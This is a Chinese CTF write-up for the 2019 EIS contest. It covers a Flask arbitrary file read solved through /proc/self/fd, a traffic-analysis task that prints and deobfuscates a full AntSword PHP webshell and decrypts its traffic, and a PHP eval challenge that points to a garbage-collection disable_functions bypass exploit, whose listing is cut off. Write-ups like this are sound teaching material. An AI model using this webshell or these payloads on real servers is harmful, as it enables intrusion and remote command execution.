2019 EIS高校运维赛 WriteUp

没有pwn的ctf,简直是ctf届的一股清流= =
Emmmm承包前三,密码学爷爷(7feilee)np!
又是一年赛后出题= =

Misc

misc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
from flask import request
from flask import Flask

secret = open('/flag', 'rb')

os.remove('/flag')


app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'


@app.route('/')
def index():
return open(__file__).read()


@app.route("/r", methods=['POST'])
def r():
data = request.form["data"]
if os.path.exists(data):
return open(data).read()
return ''


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

存在任意文件读取,flag读取后被删除。
最开始想着直接读内存出来拿flag的,结果发现读取不了。
在肖神提醒下,知道还有个一个文件描述符的东西,读取文件描述符拿到flag。

payload:

1
data=/proc/self/fd/3

flag: flag{2315341f040f45ed02d8315f0a0b28f9}

webshell

流量分析,直接看http请求。
把shell.php抓下来。

1
@eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x73).ChR(0x73).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x73).ChR(0x74).ChR(0x61).ChR(0x72).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x6b).ChR(0x65).ChR(0x79).ChR(0x3d).ChR(0x27).ChR(0x66).ChR(0x35).ChR(0x30).ChR(0x34).ChR(0x35).ChR(0x62).ChR(0x30).ChR(0x35).ChR(0x61).ChR(0x62).ChR(0x65).ChR(0x36).ChR(0x65).ChR(0x63).ChR(0x39).ChR(0x62).ChR(0x31).ChR(0x65).ChR(0x33).ChR(0x37).ChR(0x66).ChR(0x61).ChR(0x66).ChR(0x61).ChR(0x38).ChR(0x35).ChR(0x31).ChR(0x66).ChR(0x35).ChR(0x64).ChR(0x65).ChR(0x39).ChR(0x27).ChR(0x3b).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x40).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x73).ChR(0x73).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x72).ChR(0x79).ChR(0x70).ChR(0x74).ChR(0x28).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x2c).ChR(0x20).ChR(0x27).ChR(0x41).ChR(0x45).ChR(0x53).ChR(0x2d).ChR(0x31).ChR(0x32).ChR(0x38).ChR(0x2d).ChR(0x45).ChR(0x43).ChR(0x42).ChR(0x27).ChR(0x2c).ChR(0x20).ChR(0x24).ChR(0x6b).ChR(0x65).ChR(0x79).ChR(0x2c).ChR(0x20).ChR(0x4f).ChR(0x50).ChR(0x45).ChR(0x4e).ChR(0x53).ChR(0x53).ChR(0x4c).ChR(0x5f).ChR(0x52).ChR(0x41).ChR(0x57).ChR(0x5f).ChR(0x44).ChR(0x41).ChR(0x54).ChR(0x41).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x3d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x63).ChR(0x6f).ChR(0x6e).ChR(0x74).ChR(0x65).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x64).ChR(0x5f).ChR(0x63).ChR(0x6c).ChR(0x65).ChR(0x61).ChR(0x6e).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x38).ChR(0x39).ChR(0x37).ChR(0x64).ChR(0x22).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x40).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x36).ChR(0x30).ChR(0x63).ChR(0x39).ChR(0x37).ChR(0x22).ChR(0x3b).ChR(0x7d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x73).ChR(0x74).ChR(0x61).ChR(0x72).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x74).ChR(0x72).ChR(0x79).ChR(0x7b).ChR(0x24).ChR(0x70).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x63).ChR(0x34).ChR(0x36).ChR(0x31).ChR(0x65).ChR(0x38).ChR(0x36).ChR(0x31).ChR(0x39).ChR(0x36).ChR(0x66).ChR(0x31).ChR(0x61).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x73).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x39).ChR(0x65).ChR(0x63).ChR(0x33).ChR(0x66).ChR(0x61).ChR(0x39).ChR(0x38).ChR(0x61).ChR(0x32).ChR(0x38).ChR(0x33).ChR(0x66).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x53).ChR(0x45).ChR(0x52).ChR(0x56).ChR(0x45).ChR(0x52).ChR(0x5b).ChR(0x22).ChR(0x53).ChR(0x43).ChR(0x52).ChR(0x49).ChR(0x50).ChR(0x54).ChR(0x5f).ChR(0x46).ChR(0x49).ChR(0x4c).ChR(0x45).ChR(0x4e).ChR(0x41).ChR(0x4d).ChR(0x45).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x63).ChR(0x3d).ChR(0x73).ChR(0x75).ChR(0x62).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x2c).ChR(0x30).ChR(0x2c).ChR(0x31).ChR(0x29).ChR(0x3d).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x3f).ChR(0x22).ChR(0x2d).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x2f).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x70).ChR(0x7d).ChR(0x20).ChR(0x7b).ChR(0x24).ChR(0x63).ChR(0x7d).ChR(0x22).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x65).ChR(0x78).ChR(0x70).ChR(0x6c).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x22).ChR(0x2c).ChR(0x22).ChR(0x2c).ChR(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x5f).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x73).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x65).ChR(0x6d).ChR(0x70).ChR(0x74).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x74).ChR(0x72).ChR(0x69).ChR(0x6d).ChR(0x27).ChR(0x2c).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x74).ChR(0x6f).ChR(0x6c).ChR(0x6f).ChR(0x77).ChR(0x65).ChR(0x72).ChR(0x27).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x28).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x69).ChR(0x73).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x69).ChR(0x73).ChR(0x5f).ChR(0x63).ChR(0x61).ChR(0x6c).ChR(0x6c).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x21).ChR(0x69).ChR(0x6e).ChR(0x5f).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x30).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x6a).ChR(0x6f).ChR(0x69).ChR(0x6e).ChR(0x28).ChR(0x22).ChR(0xa).ChR(0x22).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x3d).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x27).ChR(0x72).ChR(0x27).ChR(0x29).ChR(0x3b).ChR(0x77).ChR(0x68).ChR(0x69).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x21).ChR(0x40).ChR(0x66).ChR(0x65).ChR(0x6f).ChR(0x66).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x66).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x2c).ChR(0x20).ChR(0x32).ChR(0x30).ChR(0x34).ChR(0x38).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x40).ChR(0x70).ChR(0x63).ChR(0x6c).ChR(0x6f).ChR(0x73).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x61).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x61).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x20).ChR(0x3d).ChR(0x20).ChR(0x31).ChR(0x32).ChR(0x37).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x40).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x2e).ChR(0x22).ChR(0x20).ChR(0x32).ChR(0x3e).ChR(0x26).ChR(0x31).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x20).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x21).ChR(0x3d).ChR(0x30).ChR(0x29).ChR(0x3f).ChR(0x22).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x7d).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x3b).ChR(0x7d).ChR(0x63).ChR(0x61).ChR(0x74).ChR(0x63).ChR(0x68).ChR(0x28).ChR(0x45).ChR(0x78).ChR(0x63).ChR(0x65).ChR(0x70).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x65).ChR(0x29).ChR(0x7b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x45).ChR(0x52).ChR(0x52).ChR(0x4f).ChR(0x52).ChR(0x3a).ChR(0x2f).ChR(0x2f).ChR(0x22).ChR(0x2e).ChR(0x24).ChR(0x65).ChR(0x2d).ChR(0x3e).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x4d).ChR(0x65).ChR(0x73).ChR(0x73).ChR(0x61).ChR(0x67).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x64).ChR(0x69).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b));

写个脚本处理一下

1
2
3
4
5
6
7
8
9
#-*- encoding: utf-8 -*-
import re

with open("shell.php", "r") as f:
code = f.read()
code = code[6:-2]
code = re.sub("chr", "chr", code, flags=re.IGNORECASE)
code = code.replace(".", "+")
print(eval(code))

恢复后的shell.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
@session_start();
$key='f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "0897d";
echo @asenc($output);
echo "60c97";
};
ob_start();
try{
$p=base64_decode($_POST["0xc461e86196f1a"]);
$s=base64_decode($_POST["0x9ec3fa98a283f"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}
else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runcmd($c){
$ret=0;
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp, 2048));
}
@pclose($fp);
}elseif(fe('antsystem')){
@antsystem($c);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();

输出是五位随机串+aes($plaintext)+五位随机串。
取返回信息解密看看。
搞个解密脚本,解密下最后一个包:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$cipher = "8c2b4kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5e2e10";

function decrypt($cipher) {
$key = 'f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_decode(openssl_decrypt(base64_decode($cipher), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};

$cipher = substr($cipher, 5, strlen($cipher) - 10);
echo decrypt($cipher);

输出:

1
2
3
4
5
6
7
8
9
10
YmFiYWJhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi
YmIKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho
aGhoaGgKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho
aGhoaGhoaGgKZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn
Z2dnZ2dnZ2dnZ2cKYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi
YmJiYmJiYmJiYmJiYmIKbm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5u
bm5ubm5ubm5ubm5ubm5ubm4KZmxhZ3tBbnRTd29yZF9pc19Qb3dlcmZ1bF8zMjIyMjIyISEhIX0K
[S]
/var/www/html/tmp
[E]

base64解码一下:

1
2
3
4
5
6
7
8
babababbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
flag{AntSword_is_Powerful_3222222!!!!}
K�گ�0��m�_횑

Web

ezbypass

题目直接给了源码:

1
2
3
4
5
6
7
<?php
if(isset($_GET['src']))
{
highlight_file(__FILE__);
}

eval($_GET['cmd']);

读取phpinfo:

disable_functions : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,mb_send_mail,putenv,error_log,apache_setenv

能用的基本都被禁了= =,读了下可以写/tmp目录。读取/tmp目录
payload:

1
cmd=var_dump(glob("/tmp/*"));

等到一辆车2333然后上车了

查了下,是通过php的垃圾回收bypass的。
exp: https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
dbq,不会pwn,改改exp,拿flag系列= =

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
